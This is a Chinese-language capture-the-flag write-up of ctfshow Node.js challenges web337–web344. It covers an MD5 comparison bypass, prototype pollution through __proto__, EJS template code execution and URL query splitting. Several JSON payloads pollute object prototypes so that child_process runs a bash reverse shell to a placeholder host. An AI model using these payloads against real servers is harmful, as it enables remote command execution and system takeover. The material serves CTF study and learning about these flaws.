web337
var express = require('express');
var router = express.Router();
var crypto = require('crypto');
function md5(s) {
return crypto.createHash('md5')
.update(s)
.digest('hex');
}
/* GET home page. */
router.get('/', function(req, res, next) {
res.type('html');
var flag='xxxxxxx';
var a = req.query.a;
var b = req.query.b;
if(a && b && a.length===b.length && a!==b && md5(a+flag)===md5(b+flag)){
res.end(flag);
}else{
res.render('index',{ msg: 'tql'});
}
});
module.exports = router;
关键:
if(a && b && a.length===b.length && a!==b && md5(a+flag)===md5(b+flag)){
res.end(flag);
payload:?a[x]=1&b[x]=2
原理:
a[x]=1&b[x]=2
相当于是说,a和b都是 引用数据类型(对象类型),那么在a+flag
和b+flag
时,他们的结果就会都是[object Object]flag{xxx}
,那么md5值自然就是一样的了。
web338(原型链污染
深入理解 JavaScript Prototype 污染攻击 | 离别歌 (leavesongs.com)
/routes/login.js
var express = require('express');
var router = express.Router();
var utils = require('../utils/common');
/* GET home page. */
router.post('/', require('body-parser').json(),function(req, res, next) {
res.type('html');
var flag='flag_here';
var secert = {};
var sess = req.session;
let user = {};
utils.copy(user,req.body);
if(secert.ctfshow==='36dboy'){
res.end(flag);
}else{
return res.json({ret_code: 2, ret_msg: '登录失败'+JSON.stringify(user)});
}
});
module.exports = router;
payload: 将post修改为
{"__proto__":{"ctfshow":"36dboy"}}
原理:
将原类中的属性ctfshow
值设置为36dboy
之后所以继承该类的类都会有ctfshow
这个属性
web339
if(secert.ctfshow===flag){
res.end(flag);
该题我们未知flag的值
多了个api.js
res.render('api', { query: Function(query)(query)});
众所周知,js的函数是Function的对象,参数为:new Function ([arg1[, arg2[, ...argN]],] functionBody)
所以我们只要能污染query,便能执行任意指令
师傅们的payload:
{"__proto__":{"query":"return global.process.mainModule.constructor._load('child_process').exec('bash -c \"bash -i >& /dev/tcp/xxx/2333 0>&1\"')"}}
值得注意的是,只能污染一次,之后就一直是500了(试了好久。。。
原因:
在
utils.copy(user,req.body);
打上断跟进去,堆栈一共三次copy()
第一次key是"__proto__"
;第二次key是"query"
;第三次出错了,key是'0'
,object变成污染后的值了,不再是键值对!,所以在经过if (key in object2 && key in object1)
判断时报错了来源: 会下雪的晴天
文章作者: yq1ng
文章链接: https://yq1ng.github.io/2020/12/31/ctfshow-nodejs-zhuan-ti/
正常payload后
![[d124ed64e71a695da94d9d12b267caf7_MD5.jpg]]
在自己的服务器上进行监听
获得shell,进行cat /f*
得到flag
web340
题面不变,依然是通过copy函数污染原型链
![[e96e5f8da5df5ba22e9e9ecd2c1c4585_MD5.jpg]]
利用方式like this:
![[796c560614b2297de0f948bc5038e118_MD5.jpg]]
可以看到成功返回了123
该题需要进行两层原型链污染,like this:
![[c0b4566c0660acfb9c34b726e3e56cba_MD5.jpg]]
入口看向api.js
/* GET home page. */
router.post('/', require('body-parser').json(),function(req, res, next) {
res.type('html');
res.render('api', { query: Function(query)(query)});
});
干啥的呢 它把post的内容拿来解析了
最后一行使用 Express 的 res.render() 方法渲染一个名为 ‘api’ 的视图模板,并将一个包含查询的对象传递给视图。在这个对象中,query 是一个键,它的值是一个函数调用 Function(query)(query) 的结果,这里似乎存在一些问题,因为 query 没有被定义,于是会顺着原型链找
目标:使用child_process
进行命令执行(反弹shell
payload1: ejs模板漏洞
{"__proto__":{"__proto__":{"outputFunctionName":"_tmp1;global.process.mainModule.require('child_process').exec('bash -c \"bash -i >& /dev/tcp/ip/5656 0>&1\"');var __tmp2"}}}
CVE-2019-10744
来自:https://blog.csdn.net/DARKNOTES/article/details/124000520
paylopa2:
{"__proto__":{"__proto__":{"query":"return global.process.mainModule.constructor._load('child_process').exec('bash -c \"bash -i >& /dev/tcp/xxx/4567 0>&1\"')"}}}
将query的值修改,当我们访问api.js时,命令将会被执行
为什么找两次原型?
![[fdc9b344775a035a1a9a79fbef6a1eb4_MD5.jpg]]
我们所修改的user被无名函数赋值,访问的__proto__
是该函数的prototype
其又继承自Object
如果上下文中没有require(类似于Code-Breaking 2018 Thejs),则可以使用global.process.mainModule.constructor._load(‘child_process’).exec(‘calc’)来执行命令
发送之后访问api.js
![[6afe805038a758a103169a9a73d3bf04_MD5.jpg]]
得到shell
![[b251c8fd88cbc3f98fa86f6c653b7fcc_MD5.jpg]]
cat ./routes/login.js
web341
又给了源码
这次没有api.js了,应该是ejs模板漏洞
https://www.anquanke.com/post/id/248170#h2-8
ejs模板引擎rce常用poc
{"__proto__":{"outputFunctionName":"_tmp1;global.process.mainModule.require('child_process').exec('bash -c \"bash -i >& /dev/tcp/xxx/6666 0>&1\"');var __tmp2"}}
依然需要顺两次
{"__proto__":{"__proto__":{"outputFunctionName":"_tmp1;global.process.mainModule.require('child_process').exec('bash -c \"bash -i >& /dev/tcp/xxx/4567 0>&1\"');var __tmp2"}}}
发包后在访问index.js
解析json,得到shell,flag被放在了根目录
![[2de778966a3410245815ffaddbbeef3b_MD5.jpg]]
web342/web343 jade框架
![[cf98c27e701a819ea139596d874c25a0_MD5.jpg]]
又是web框架,但ejs模板的poc不太行
jjjjjjaaaaaaaaddddddddeeeeeeeee!
试了好久只能打开这个界面,是环境的问题???
![[46bf45a198942b13089267d96156194c_MD5.jpg]]
web344
router.get('/', function(req, res, next) {
res.type('html');
var flag = 'flag_here';
if(req.url.match(/8c|2c|\,/ig)){
res.end('where is flag :)');
}
var query = JSON.parse(req.query.query);
if(query.name==='admin'&&query.password==='ctfshow'&&query.isVIP===true){
res.end(flag);
}else{
res.end('where is flag. :)');
}
});
对query的请求可以通过GET方式传递,通过json的格式传参就好了
传参前url编码
?query={"name":"admin"&query="password":"ctfshow"&query="isVIP":true}